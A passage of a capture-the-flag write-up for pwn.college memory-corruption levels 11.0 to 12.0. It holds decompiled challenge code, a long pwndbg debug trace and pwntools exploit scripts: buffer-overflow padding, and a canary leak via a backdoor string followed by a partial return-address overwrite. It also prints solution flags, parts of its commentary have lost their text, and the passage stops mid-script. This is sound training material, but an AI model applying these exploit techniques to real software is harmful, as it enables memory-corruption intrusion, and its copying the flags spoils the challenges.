  size_t nbytes; // [rsp+38h] [rbp-28h] BYREF
  void *v7; // [rsp+40h] [rbp-20h]
  void *buf; // [rsp+48h] [rbp-18h]
  void *v9; // [rsp+50h] [rbp-10h]
  void *v10; // [rsp+58h] [rbp-8h]

  nbytes = 0LL;
  puts("The challenge() function has just been launched!");
  puts("This challenge stores your input buffer in an mmapped page of memory!");
  v7 = mmap(0LL, 0x1000uLL, 3, 34, 0, 0LL);
  printf("Called mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 
0) = %pn", v7);
  puts("In this level, the flag will be loaded into memory.");
  puts("However, at no point will this program actually print the buffer storing
 the flag.");
  puts("Mapping memory for the flag...");
  buf = mmap(0LL, 0x1000uLL, 3, 34, 0, 0LL);
  fd = open("/flag", 0);
  read(fd, buf, 0x400uLL);
  close(fd);
  printf("Called mmap(0, 0x1000, 4, MAP_SHARED, open("/flag", 0), 0) = %pn", buf
);
  for ( i = 0; i <= 2; ++i )
  {
    v10 = mmap(0LL, 0x1000uLL, 3, 34, 0, 0LL);
    printf("Called mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0
, 0) = %pn", v10);
  }
  puts("Memory mapping the input buffer...");
  v9 = mmap(0LL, 0x78uLL, 3, 34, 0, 0LL);
  printf("Called mmap(0, 120, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 0) 
= %pn", v9);
  printf("Payload size: ");
  __isoc99_scanf("%lu", &nbytes);
  printf("You have chosen to send %lu bytes of input!n", nbytes);
  printf("This will allow you to write from %p (the start of the input buffer)n"
, v9);
  printf(
    "right up to (but not including) %p (which is %d bytes beyond the end of the
 buffer).n",
    (char *)v9 + nbytes,
    nbytes - 120);
  printf("Send your payload (up to %lu bytes)!n", nbytes);
  v5 = read(0, v9, nbytes);
  if ( v5 < 0 )
  {
    v0 = __errno_location();
    v1 = strerror(*v0);
    printf("ERROR: Failed to read input -- %s!n", v1);
    exit(1);
  }
  printf("You sent %d bytes!n", v5);
  puts("The program's memory status:");
  printf("- the input buffer starts at %pn", v9);
  printf("- the address of the flag is %p.n", buf);
  putchar(10);
  printf("You said: %sn", (const char *)v9);
  puts("Goodbye!");
  return 0LL;
}
```

alr padding

```asm wrap=false showLineNumbers=false collapse={2-22, 31-58, 60-109, 116-134, 
143-171, 173-223}
Breakpoint 1, 0x000055e7d6a8cd2a in challenge ()
------- tip of the day (disable with set show-tips off) -------
Pwndbg mirrors some of Windbg commands like eq, ew, ed, eb, es, dq, dw, dd, db, 
ds for writing and reading memory
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-fl
ags off / show-compact-regs off ]───────────────────────────────────────────────
────────────
 RAX  0x1f
 RBX  0x7ffcf7831798 -> 0x7ffcf78336bc <- '/home/cub3y0nd/Projects/pwn.college/b
abymem-level-11-0'
 RCX  0x22
 RDX  3
 RDI  0
 RSI  0x1000
 R8   0
 R9   0
 R10  0
 R11  0x202
 R12  1
 R13  0
 R14  0x7044ddb3d000 (_rtld_global) -> 0x7044ddb3e2e0 -> 0x55e7d6a8b000 <- 0x101
02464c457f
 R15  0
 RBP  0x7ffcf7830630 -> 0x7ffcf7831670 -> 0x7ffcf7831710 -> 0x7ffcf7831770 <- 0
 RSP  0x7ffcf78305d0 -> 0x55e7d6a8e4f9 <- 0x2023232300232323 /* '###' */
 RIP  0x55e7d6a8cd2a (challenge+188) <- call 0x55e7d6a8c150
────────────────────────────────────────────────────────────────────[ DISASM / x
86-64 / set emulate on ]────────────────────────────────────────────────────────
────────────
 -> 0x55e7d6a8cd2a <challenge+188>    call   mmap@plt                    <mmap@p
lt>
        addr: 0
        len: 0x1000
        prot: 3
        flags: 0x22
        fd: 0 (pipe:[532567])
        offset: 0

   0x55e7d6a8cd2f <challenge+193>    mov    qword ptr [rbp - 0x18], rax
   0x55e7d6a8cd33 <challenge+197>    mov    esi, 0                          ESI 
=> 0
   0x55e7d6a8cd38 <challenge+202>    lea    rdi, [rip + 0x1530]             RDI 
=> 0x55e7d6a8e26f <- 0x67616c662f /* '/flag' */
   0x55e7d6a8cd3f <challenge+209>    mov    eax, 0                          EAX 
=> 0
   0x55e7d6a8cd44 <challenge+214>    call   open@plt                    <open@pl
t>

   0x55e7d6a8cd49 <challenge+219>    mov    dword ptr [rbp - 0x30], eax
   0x55e7d6a8cd4c <challenge+222>    mov    rcx, qword ptr [rbp - 0x18]
   0x55e7d6a8cd50 <challenge+226>    mov    eax, dword ptr [rbp - 0x30]
   0x55e7d6a8cd53 <challenge+229>    mov    edx, 0x400                      EDX 
=> 0x400
   0x55e7d6a8cd58 <challenge+234>    mov    rsi, rcx
────────────────────────────────────────────────────────────────────────────────
─[ STACK ]──────────────────────────────────────────────────────────────────────
────────────
00:0000│ rsp 0x7ffcf78305d0 -> 0x55e7d6a8e4f9 <- 0x2023232300232323 /* '###' */
01:0008│-058 0x7ffcf78305d8 -> 0x7ffcf78317a8 -> 0x7ffcf78336f3 <- 'MOTD_SHOWN=p
am'
02:0010│-050 0x7ffcf78305e0 -> 0x7ffcf7831798 -> 0x7ffcf78336bc <- '/home/cub3y0
nd/Projects/pwn.college/babymem-level-11-0'
03:0018│-048 0x7ffcf78305e8 <- 0x1d6a90010
04:0020│-040 0x7ffcf78305f0 -> 0x7ffcf7830630 -> 0x7ffcf7831670 -> 0x7ffcf783171
0 -> 0x7ffcf7831770 <- ...
05:0028│-038 0x7ffcf78305f8 -> 0x7044dd967c80 (putchar+240) <- jmp 0x7044dd967bd
6
06:0030│-030 0x7ffcf7830600 <- 0x230
07:0038│-028 0x7ffcf7830608 <- 0
───────────────────────────────────────────────────────────────────────────────[
 BACKTRACE ]────────────────────────────────────────────────────────────────────
────────────
 -> 0   0x55e7d6a8cd2a challenge+188
   1   0x55e7d6a8d063 main+213
   2   0x7044dd90ae08
   3   0x7044dd90aecc __libc_start_main+140
   4   0x55e7d6a8c20e _start+46
────────────────────────────────────────────────────────────────────────────────
────────────────────────────────────────────────────────────────────────────────
────────────
pwndbg> ni
0x000055e7d6a8cd2f in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-fl
ags off / show-compact-regs off ]───────────────────────────────────────────────
────────────
*RAX  0x7044ddaff000 <- 0
 RBX  0x7ffcf7831798 -> 0x7ffcf78336bc <- '/home/cub3y0nd/Projects/pwn.college/b
abymem-level-11-0'
*RCX  0x7044dd9fa24c (mmap64+44) <- cmp rax, -0x1000 /* 'H=' */
 RDX  3
 RDI  0
 RSI  0x1000
 R8   0
 R9   0
*R10  0x22
*R11  0x246
 R12  1
 R13  0
 R14  0x7044ddb3d000 (_rtld_global) -> 0x7044ddb3e2e0 -> 0x55e7d6a8b000 <- 0x101
02464c457f
 R15  0
 RBP  0x7ffcf7830630 -> 0x7ffcf7831670 -> 0x7ffcf7831710 -> 0x7ffcf7831770 <- 0
 RSP  0x7ffcf78305d0 -> 0x55e7d6a8e4f9 <- 0x2023232300232323 /* '###' */
*RIP  0x55e7d6a8cd2f (challenge+193) <- mov qword ptr [rbp - 0x18], rax
────────────────────────────────────────────────────────────────────[ DISASM / x
86-64 / set emulate on ]────────────────────────────────────────────────────────
────────────
   0x55e7d6a8cd2a <challenge+188>    call   mmap@plt                    <mmap@pl
t>

 -> 0x55e7d6a8cd2f <challenge+193>    mov    qword ptr [rbp - 0x18], rax     [0x
7ffcf7830618] => 0x7044ddaff000 <- 0
   0x55e7d6a8cd33 <challenge+197>    mov    esi, 0                          ESI 
=> 0
   0x55e7d6a8cd38 <challenge+202>    lea    rdi, [rip + 0x1530]             RDI 
=> 0x55e7d6a8e26f <- 0x67616c662f /* '/flag' */
   0x55e7d6a8cd3f <challenge+209>    mov    eax, 0                          EAX 
=> 0
   0x55e7d6a8cd44 <challenge+214>    call   open@plt                    <open@pl
t>

   0x55e7d6a8cd49 <challenge+219>    mov    dword ptr [rbp - 0x30], eax
   0x55e7d6a8cd4c <challenge+222>    mov    rcx, qword ptr [rbp - 0x18]
   0x55e7d6a8cd50 <challenge+226>    mov    eax, dword ptr [rbp - 0x30]
   0x55e7d6a8cd53 <challenge+229>    mov    edx, 0x400                      EDX 
=> 0x400
   0x55e7d6a8cd58 <challenge+234>    mov    rsi, rcx
────────────────────────────────────────────────────────────────────────────────
─[ STACK ]──────────────────────────────────────────────────────────────────────
────────────
00:0000│ rsp 0x7ffcf78305d0 -> 0x55e7d6a8e4f9 <- 0x2023232300232323 /* '###' */
01:0008│-058 0x7ffcf78305d8 -> 0x7ffcf78317a8 -> 0x7ffcf78336f3 <- 'MOTD_SHOWN=p
am'
02:0010│-050 0x7ffcf78305e0 -> 0x7ffcf7831798 -> 0x7ffcf78336bc <- '/home/cub3y0
nd/Projects/pwn.college/babymem-level-11-0'
03:0018│-048 0x7ffcf78305e8 <- 0x1d6a90010
04:0020│-040 0x7ffcf78305f0 -> 0x7ffcf7830630 -> 0x7ffcf7831670 -> 0x7ffcf783171
0 -> 0x7ffcf7831770 <- ...
05:0028│-038 0x7ffcf78305f8 -> 0x7044dd967c80 (putchar+240) <- jmp 0x7044dd967bd
6
06:0030│-030 0x7ffcf7830600 <- 0x230
07:0038│-028 0x7ffcf7830608 <- 0
───────────────────────────────────────────────────────────────────────────────[
 BACKTRACE ]────────────────────────────────────────────────────────────────────
────────────
 -> 0   0x55e7d6a8cd2f challenge+193
   1   0x55e7d6a8d063 main+213
   2   0x7044dd90ae08
   3   0x7044dd90aecc __libc_start_main+140
   4   0x55e7d6a8c20e _start+46
────────────────────────────────────────────────────────────────────────────────
────────────────────────────────────────────────────────────────────────────────
────────────
pwndbg> p/x $rax
$1 = 0x7044ddaff000
pwndbg> c
Continuing.

Breakpoint 2, 0x000055e7d6a8ce04 in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-fl
ags off / show-compact-regs off ]───────────────────────────────────────────────
────────────
*RAX  0x23
 RBX  0x7ffcf7831798 -> 0x7ffcf78336bc <- '/home/cub3y0nd/Projects/pwn.college/b
abymem-level-11-0'
*RCX  0x22
 RDX  3
 RDI  0
*RSI  0x78
 R8   0
 R9   0
*R10  0
*R11  0x202
 R12  1
 R13  0
 R14  0x7044ddb3d000 (_rtld_global) -> 0x7044ddb3e2e0 -> 0x55e7d6a8b000 <- 0x101
02464c457f
 R15  0
 RBP  0x7ffcf7830630 -> 0x7ffcf7831670 -> 0x7ffcf7831710 -> 0x7ffcf7831770 <- 0
 RSP  0x7ffcf78305d0 -> 0x55e7d6a8e4f9 <- 0x2023232300232323 /* '###' */
*RIP  0x55e7d6a8ce04 (challenge+406) <- call 0x55e7d6a8c150
────────────────────────────────────────────────────────────────────[ DISASM / x
86-64 / set emulate on ]────────────────────────────────────────────────────────
────────────
 -> 0x55e7d6a8ce04 <challenge+406>    call   mmap@plt                    <mmap@p
lt>
        addr: 0
        len: 0x78
        prot: 3
        flags: 0x22
        fd: 0 (pipe:[532567])
        offset: 0

   0x55e7d6a8ce09 <challenge+411>    mov    qword ptr [rbp - 0x10], rax
   0x55e7d6a8ce0d <challenge+415>    mov    rax, qword ptr [rbp - 0x10]
   0x55e7d6a8ce11 <challenge+419>    mov    rsi, rax
   0x55e7d6a8ce14 <challenge+422>    lea    rdi, [rip + 0x14cd]             RDI 
=> 0x55e7d6a8e2e8 <- 'Called mmap(0, 120, PROT_READ|PROT_WRITE, MAP_PRIV...'
   0x55e7d6a8ce1b <challenge+429>    mov    eax, 0                          EAX 
=> 0
   0x55e7d6a8ce20 <challenge+434>    call   printf@plt                  <printf@
plt>

   0x55e7d6a8ce25 <challenge+439>    lea    rdi, [rip + 0x1508]     RDI => 0x55e
7d6a8e334 <- 'Payload size: '
   0x55e7d6a8ce2c <challenge+446>    mov    eax, 0                  EAX => 0
   0x55e7d6a8ce31 <challenge+451>    call   printf@plt                  <printf@
plt>

   0x55e7d6a8ce36 <challenge+456>    lea    rax, [rbp - 0x28]
────────────────────────────────────────────────────────────────────────────────
─[ STACK ]──────────────────────────────────────────────────────────────────────
────────────
00:0000│ rsp 0x7ffcf78305d0 -> 0x55e7d6a8e4f9 <- 0x2023232300232323 /* '###' */
01:0008│-058 0x7ffcf78305d8 -> 0x7ffcf78317a8 -> 0x7ffcf78336f3 <- 'MOTD_SHOWN=p
am'
02:0010│-050 0x7ffcf78305e0 -> 0x7ffcf7831798 -> 0x7ffcf78336bc <- '/home/cub3y0
nd/Projects/pwn.college/babymem-level-11-0'
03:0018│-048 0x7ffcf78305e8 <- 0x1d6a90010
04:0020│-040 0x7ffcf78305f0 -> 0x7ffcf7830630 -> 0x7ffcf7831670 -> 0x7ffcf783171
0 -> 0x7ffcf7831770 <- ...
05:0028│-038 0x7ffcf78305f8 <- 0x3dd967c80
06:0030│-030 0x7ffcf7830600 <- 0xffffffff
07:0038│-028 0x7ffcf7830608 <- 0
───────────────────────────────────────────────────────────────────────────────[
 BACKTRACE ]────────────────────────────────────────────────────────────────────
────────────
 -> 0   0x55e7d6a8ce04 challenge+406
   1   0x55e7d6a8d063 main+213
   2   0x7044dd90ae08
   3   0x7044dd90aecc __libc_start_main+140
   4   0x55e7d6a8c20e _start+46
────────────────────────────────────────────────────────────────────────────────
────────────────────────────────────────────────────────────────────────────────
────────────
pwndbg> ni
0x000055e7d6a8ce09 in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-fl
ags off / show-compact-regs off ]───────────────────────────────────────────────
────────────
*RAX  0x7044ddafb000 <- 0
 RBX  0x7ffcf7831798 -> 0x7ffcf78336bc <- '/home/cub3y0nd/Projects/pwn.college/b
abymem-level-11-0'
*RCX  0x7044dd9fa24c (mmap64+44) <- cmp rax, -0x1000 /* 'H=' */
 RDX  3
 RDI  0
 RSI  0x78
 R8   0
 R9   0
*R10  0x22
*R11  0x246
 R12  1
 R13  0
 R14  0x7044ddb3d000 (_rtld_global) -> 0x7044ddb3e2e0 -> 0x55e7d6a8b000 <- 0x101
02464c457f
 R15  0
 RBP  0x7ffcf7830630 -> 0x7ffcf7831670 -> 0x7ffcf7831710 -> 0x7ffcf7831770 <- 0
 RSP  0x7ffcf78305d0 -> 0x55e7d6a8e4f9 <- 0x2023232300232323 /* '###' */
*RIP  0x55e7d6a8ce09 (challenge+411) <- mov qword ptr [rbp - 0x10], rax
────────────────────────────────────────────────────────────────────[ DISASM / x
86-64 / set emulate on ]────────────────────────────────────────────────────────
────────────
   0x55e7d6a8ce04 <challenge+406>    call   mmap@plt                    <mmap@pl
t>

 -> 0x55e7d6a8ce09 <challenge+411>    mov    qword ptr [rbp - 0x10], rax     [0x
7ffcf7830620] => 0x7044ddafb000 <- 0
   0x55e7d6a8ce0d <challenge+415>    mov    rax, qword ptr [rbp - 0x10]     RAX,
 [0x7ffcf7830620] => 0x7044ddafb000 <- 0
   0x55e7d6a8ce11 <challenge+419>    mov    rsi, rax                        RSI 
=> 0x7044ddafb000 <- 0
   0x55e7d6a8ce14 <challenge+422>    lea    rdi, [rip + 0x14cd]             RDI 
=> 0x55e7d6a8e2e8 <- 'Called mmap(0, 120, PROT_READ|PROT_WRITE, MAP_PRIV...'
   0x55e7d6a8ce1b <challenge+429>    mov    eax, 0                          EAX 
=> 0
   0x55e7d6a8ce20 <challenge+434>    call   printf@plt                  <printf@
plt>

   0x55e7d6a8ce25 <challenge+439>    lea    rdi, [rip + 0x1508]     RDI => 0x55e
7d6a8e334 <- 'Payload size: '
   0x55e7d6a8ce2c <challenge+446>    mov    eax, 0                  EAX => 0
   0x55e7d6a8ce31 <challenge+451>    call   printf@plt                  <printf@
plt>

   0x55e7d6a8ce36 <challenge+456>    lea    rax, [rbp - 0x28]
────────────────────────────────────────────────────────────────────────────────
─[ STACK ]──────────────────────────────────────────────────────────────────────
────────────
00:0000│ rsp 0x7ffcf78305d0 -> 0x55e7d6a8e4f9 <- 0x2023232300232323 /* '###' */
01:0008│-058 0x7ffcf78305d8 -> 0x7ffcf78317a8 -> 0x7ffcf78336f3 <- 'MOTD_SHOWN=p
am'
02:0010│-050 0x7ffcf78305e0 -> 0x7ffcf7831798 -> 0x7ffcf78336bc <- '/home/cub3y0
nd/Projects/pwn.college/babymem-level-11-0'
03:0018│-048 0x7ffcf78305e8 <- 0x1d6a90010
04:0020│-040 0x7ffcf78305f0 -> 0x7ffcf7830630 -> 0x7ffcf7831670 -> 0x7ffcf783171
0 -> 0x7ffcf7831770 <- ...
05:0028│-038 0x7ffcf78305f8 <- 0x3dd967c80
06:0030│-030 0x7ffcf7830600 <- 0xffffffff
07:0038│-028 0x7ffcf7830608 <- 0
───────────────────────────────────────────────────────────────────────────────[
 BACKTRACE ]────────────────────────────────────────────────────────────────────
────────────
 -> 0   0x55e7d6a8ce09 challenge+411
   1   0x55e7d6a8d063 main+213
   2   0x7044dd90ae08
   3   0x7044dd90aecc __libc_start_main+140
   4   0x55e7d6a8c20e _start+46
────────────────────────────────────────────────────────────────────────────────
────────────────────────────────────────────────────────────────────────────────
────────────
pwndbg> dist $rax $1
0x7044ddafb000->0x7044ddaff000 is 0x4000 bytes (0x800 words)
```

## Exploit

```python
#!/usr/bin/python3

from pwn import ELF, context, gdb, log, pause, process, remote

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-11-0"
HOST = "pwn.college"
PORT = 1337

gdbscript = """
b *challenge+188
b *challenge+406
c
"""


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e
nvp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


padding = b"".ljust(0x4000, b"A")


def send_payload(target, payload):
    try:
        payload_size = f"{len(payload)}".encode()
        target.recvuntil(b"Payload size: ")
        target.sendline(payload_size)
        target.recvuntil(b"Send your payload")
        target.send(payload)

        response = target.recvall()

        return b"pwn.college{" in response
    except Exception as e:
        log.exception(f"An error occurred: {e}")


try:
    target = launch(debug=False)

    payload = padding

    if send_payload(target, payload):
        log.success("Success! Exiting...")

        pause()
        exit()
except Exception as e:
    log.exception(f"An error occurred in main loop: {e}")
```

## Flag

Flag: `pwn.college{oNJmkkep5Mt0PwVQdAiStSjA960.0VOwMDL5cTNxgzW}`

# Level 11.1

## Information

- Category: Pwn

## Description

> Overflow a buffer and leak the flag. Be warned, this requires careful and clev
er payload construction!

## Write-up

……

## Exploit

```python
#!/usr/bin/python3

from pwn import ELF, context, gdb, log, pause, process, remote

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-11-1"
HOST = "pwn.college"
PORT = 1337

gdbscript = """
b *challenge+104
b *challenge+262
b *challenge+352
c
"""


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e
nvp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


padding = b"".ljust(0x4000, b"A")


def send_payload(target, payload):
    try:
        payload_size = f"{len(payload)}".encode()
        target.recvuntil(b"Payload size: ")
        target.sendline(payload_size)
        target.recvuntil(b"Send your payload")
        target.send(payload)

        response = target.recvall()

        return b"pwn.college{" in response
    except Exception as e:
        log.exception(f"An error occurred: {e}")


try:
    target = launch(debug=False)

    payload = padding

    if send_payload(target, payload):
        log.success("Success! Exiting...")

        pause()
        exit()
except Exception as e:
    log.exception(f"An error occurred in main loop: {e}")
```

## Flag

Flag: `pwn.college{I5165He8SxPMM_8YzEz5DkzRZ1c.0FMxMDL5cTNxgzW}`

# Level 12.0

## Information

- Category: Pwn

## Description

> Defeat a stack canary in a PIE binary by utilizing a bug left in the binary.

## Write-up

```c ins={146-150} del={112, 143} collapse={1-108, 116-139, 154-156}
__int64 __fastcall challenge(unsigned int a1, __int64 a2, __int64 a3)
{
  int *v3; // rax
  char *v4; // rax
  __int64 v6; // [rsp+0h] [rbp-60h] BYREF
  __int64 v7; // [rsp+8h] [rbp-58h]
  __int64 v8; // [rsp+10h] [rbp-50h]
  unsigned int v9; // [rsp+1Ch] [rbp-44h]
  int v10; // [rsp+2Ch] [rbp-34h]
  size_t nbytes; // [rsp+30h] [rbp-30h] BYREF
  void *buf; // [rsp+38h] [rbp-28h]
  _QWORD v13[2]; // [rsp+40h] [rbp-20h] BYREF
  char v14; // [rsp+50h] [rbp-10h]
  unsigned __int64 v15; // [rsp+58h] [rbp-8h]
  __int64 savedregs; // [rsp+60h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+68h] [rbp+8h] BYREF

  v9 = a1;
  v8 = a2;
  v7 = a3;
  v15 = __readfsqword(0x28u);
  v13[0] = 0LL;
  v13[1] = 0LL;
  v14 = 0;
  buf = v13;
  nbytes = 0LL;
  puts("The challenge() function has just been launched!");
  sp_ = (__int64)&v6;
  bp_ = (__int64)&savedregs;
  sz_ = ((unsigned __int64)((char *)&savedregs - (char *)&v6) >> 3) + 2;
  rp_ = (__int64)&retaddr;
  puts("Before we do anything, let's take a look at challenge()'s stack frame:")
;
  DUMP_STACK(sp_, sz_);
  printf("Our stack pointer points to %p, and our base pointer points to %p.n", 
(const void *)sp_, (const void *)bp_);
  printf("This means that we have (decimal) %d 8-byte words in our stack frame,n
", sz_);
  puts("including the saved base pointer and the saved return address, for a");
  printf("total of %d bytes.n", 8 * sz_);
  printf("The input buffer begins at %p, partway through the stack frame,n", buf
);
  puts("("above" it in the stack are other local variables used by the function)
.");
  puts("Your input will be read into this buffer.");
  printf("The buffer is %d bytes long, but the program will let you provide an a
rbitrarilyn", 17);
  puts("large input length, and thus overflow the buffer.n");
  puts("In this level, there is no "win" variable.");
  puts("You will need to force the program to execute the win_authed() function"
);
  puts("by directly overflowing into the stored return address back to main,");
  printf(
    "which is stored at %p, %d bytes after the start of your input buffer.n",
    (const void *)rp_,
    rp_ - (_DWORD)buf);
  printf(
    "That means that you will need to input at least %d bytes (%d to fill the bu
ffer,n",
    rp_ - (_DWORD)buf + 8,
    17);
  printf("%d to fill other stuff stored between the buffer and the return addres
s,n", rp_ - (_DWORD)buf - 17);
  puts("and 8 that will overwrite the return address).n");
  cp_ = bp_;
  cv_ = __readfsqword(0x28u);
  while ( *(_QWORD *)cp_ != cv_ )
    cp_ -= 8LL;
  puts("Because the binary is position independent, you cannot know");
  puts("exactly where the win_authed() function is located.");
  puts("This means that it is not clear what should be written into the return a
ddress.n");
  printf("Payload size: ");
  __isoc99_scanf("%lu", &nbytes);
  printf("You have chosen to send %lu bytes of input!n", nbytes);
  printf("This will allow you to write from %p (the start of the input buffer)n"
, buf);
  printf(
    "right up to (but not including) %p (which is %d bytes beyond the end of the
 buffer).n",
    (char *)buf + nbytes,
    nbytes - 17);
  printf("Of these, you will overwrite %d bytes into the return address.n", nbyt
es + (_DWORD)buf - rp_);
  puts("If that number is greater than 8, you will overwrite the entire return a
ddress.n");
  puts("Overwriting the entire return address is fine when we know");
  puts("the whole address, but here, we only really know the last three nibbles.
");
  puts("These nibbles never change, because pages are aligned to 0x1000.");
  puts("This gives us a workaround: we can overwrite the least significant byte"
);
  puts("of the saved return address, which we can know from debugging the binary
,");
  puts("to retarget the return to main to any instruction that shares the other 
7 bytes.");
  puts("Since that last byte will be constant between executions (due to page al
ignment),");
  puts("this will always work.");
  puts("If the address we want to redirect execution to is a bit farther away fr
om");
  puts("the saved return address, and we need to write two bytes, then one of th
ose");
  puts("nibbles (the fourth least-significant one) will be a guess, and it will 
be");
  puts("incorrect 15 of 16 times.");
  puts("This is okay: we can just run our exploit a few times until it works");
  puts("(statistically, ~50% chance after 11 times and ~90% chance after 36 time
s).");
  puts("One caveat in this challenge is that the win_authed() function must firs
t auth:");
  puts("it only lets you win if you provide it with the argument 0x1337.");
  puts("Speifically, the win_authed() function looks something like:");
  puts("    void win_authed(int token)");
  puts("    {");
  puts("      if (token != 0x1337) return;");
  puts("      puts("You win! Here is your flag: ");");
  puts("      sendfile(1, open("/flag", 0), 0, 256);");
  puts("      puts("");");
  puts("    }");
  puts(byte_3E5B);
  puts("So how do you pass the check? There *is* a way, and we will cover it lat
er,");
  puts("but for now, we will simply bypass it! You can overwrite the return addr
ess");
  puts("with *any* value (as long as it points to executable code), not just the
 start");
  puts("of functions. Let's overwrite past the token check in win!n");
  puts("To do this, we will need to analyze the program with objdump, identify w
here");
  puts("the check is in the win_authed() function, find the address right after 
the check,");
  puts("and write that address over the saved return address.n");
  puts("Go ahead and find this address now. When you're ready, input a buffer ov
erflow");
  printf(
    "that will overwrite the saved return address (at %p, %d bytes into the buff
er)n",
    (const void *)rp_,
    rp_ - (_DWORD)buf);
  puts("with the correct value.n");
  printf("Send your payload (up to %lu bytes)!n", nbytes);
  v10 = read(0, buf, nbytes);
  if ( v10 < 0 )
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    printf("ERROR: Failed to read input -- %s!n", v4);
    exit(1);
  }
  printf("You sent %d bytes!n", v10);
  puts("Let's see what happened with the stack:n");
  DUMP_STACK(sp_, sz_);
  puts("The program's memory status:");
  printf("- the input buffer starts at %pn", buf);
  printf("- the saved frame pointer (of main) is at %pn", (const void *)bp_);
  printf("- the saved return address (previously to main) is at %pn", (const voi
d *)rp_);
  printf("- the saved return address is now pointing to %p.n", *(const void **)r
p_);
  printf("- the canary is stored at %p.n", (const void *)cp_);
  printf("- the canary value is now %p.n", *(const void **)cp_);
  printf("- the address of win_authed() is %p.n", win_authed);
  putchar(10);
  puts("If you have managed to overwrite the return address with the correct val
ue,");
  puts("challenge() will jump straight to win_authed() when it returns.");
  printf("Let's try it now!nn");
  if ( (unsigned __int64)buf + v10 > rp_ + 2 )
  {
    puts("WARNING: You sent in too much data, and overwrote more than two bytes 
of the address.");
    puts("         This can still work, because I told you the correct address t
o use for");
    puts("         this execution, but you should not rely on that information."
);
    puts("         You can solve this challenge by only overwriting two bytes!")
;
    puts("         ");
  }
  printf("You said: %sn", (const char *)buf);
  puts("This challenge has a trick hidden in its code. Reverse-engineer the bina
ry right after this puts()");
  puts("call to see the hidden backdoor!");
  if ( strstr((const char *)buf, "REPEAT") )
  {
    puts("Backdoor triggered! Repeating challenge()");
    return challenge(v9, v8, v7);
  }
  else
  {
    puts("Goodbye!");
    return 0LL;
  }
}
```


 `buf` canary 


 `printf`  `buf`
 canary  `printf`  canary  `printf` 
 `canary`  `x00` 
 canary 

`strstr`  `haystack`  `needle` 
 `NULL`

```c
// attributes: thunk
char *strstr(const char *haystack, const char *needle)
{
  return strstr(haystack, needle);
}
```

> 
>
> -  `needle`  `strstr`  `haystack` 
> - `strstr` `strcasestr` 

>  `strchr` `memcmp` 
`strstr` 

>
> 
…… ~线~
>
> ~ `ChatGPT` xD~

`if ( strstr((const char *)buf, "REPEAT") )`  `REPEAT`
 `challenge` `challenge` canar
y  canary 

 `win_authed` 


```c ins={10} del={8} collapse={1-4, 14-35}
void __fastcall win_authed(int a1)
{
  int *v1; // rax
  char *v2; // rax
  int *v3; // rax
  char *v4; // rax

  if ( a1 == 4919 )
  {
    puts("You win! Here is your flag:");
    flag_fd_5715 = open("/flag", 0);
    if ( flag_fd_5715 < 0 )
    {
      v1 = __errno_location();
      v2 = strerror(*v1);
      printf("n  ERROR: Failed to open the flag -- %s!n", v2);
      if ( geteuid() )
      {
        puts("  Your effective user id is not 0!");
        puts("  You must directly run the suid binary in order to have the corre
ct permissions!");
      }
      exit(-1);
    }
    flag_length_5716 = read(flag_fd_5715, &flag_5714, 0x100uLL);
    if ( flag_length_5716 <= 0 )
    {
      v3 = __errno_location();
      v4 = strerror(*v3);
      printf("n  ERROR: Failed to read the flag -- %s!n", v4);
      exit(-1);
    }
    write(1, &flag_5714, flag_length_5716);
    puts("n");
  }
}
```

 exp …… 
`return challenge(v9, v8, v7);`  `win_authed`
 `r-xp`
 canary `challen
ge` 

便
 LMAO

## Exploit

```python
#!/usr/bin/python3

from pwn import ELF, context, gdb, log, pause, process, random, remote

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-12-0"
HOST, PORT = "pwn.college", 1337

gdbscript = """
b *challenge+1339
b *challenge+1821
c
"""


def to_hex_bytes(data):
    return "".join(f"\x{byte:02x}" for byte in data)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e
nvp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


backdoor = b"REPEAT "
backdoor_trigger = b"".ljust(0x12, b"A") + backdoor
padding_to_canary = b"".ljust(0x18, b"A")
padding_to_ret = b"".ljust(0x8, b"A")
fixed_offset = b"xe0"
possible_bytes = [bytes([i]) for i in range(0x03, 0x103, 0x10)]


def send_payload(target, payload):
    try:
        payload_size = f"{len(payload)}".encode()

        target.sendlineafter(b"Payload size: ", payload_size)
        target.sendafter(b"Send your payload", payload)
    except Exception as e:
        log.exception(f"An error occurred while sending payload: {e}")


def leak_canary(target):
    try:
        send_payload(target, backdoor_trigger)
        target.recvuntil(backdoor)

        canary = b"x00" + target.recv(0x7)
        log.success(f"Canary: {to_hex_bytes(canary)}")

        return canary
    except Exception as e:
        log.exception(f"An error occurred while leaking canary: {e}")


def construct_payload(target):
    canary = leak_canary(target)

    payload = padding_to_canary
    payload += canary
    payload += padding_to_ret
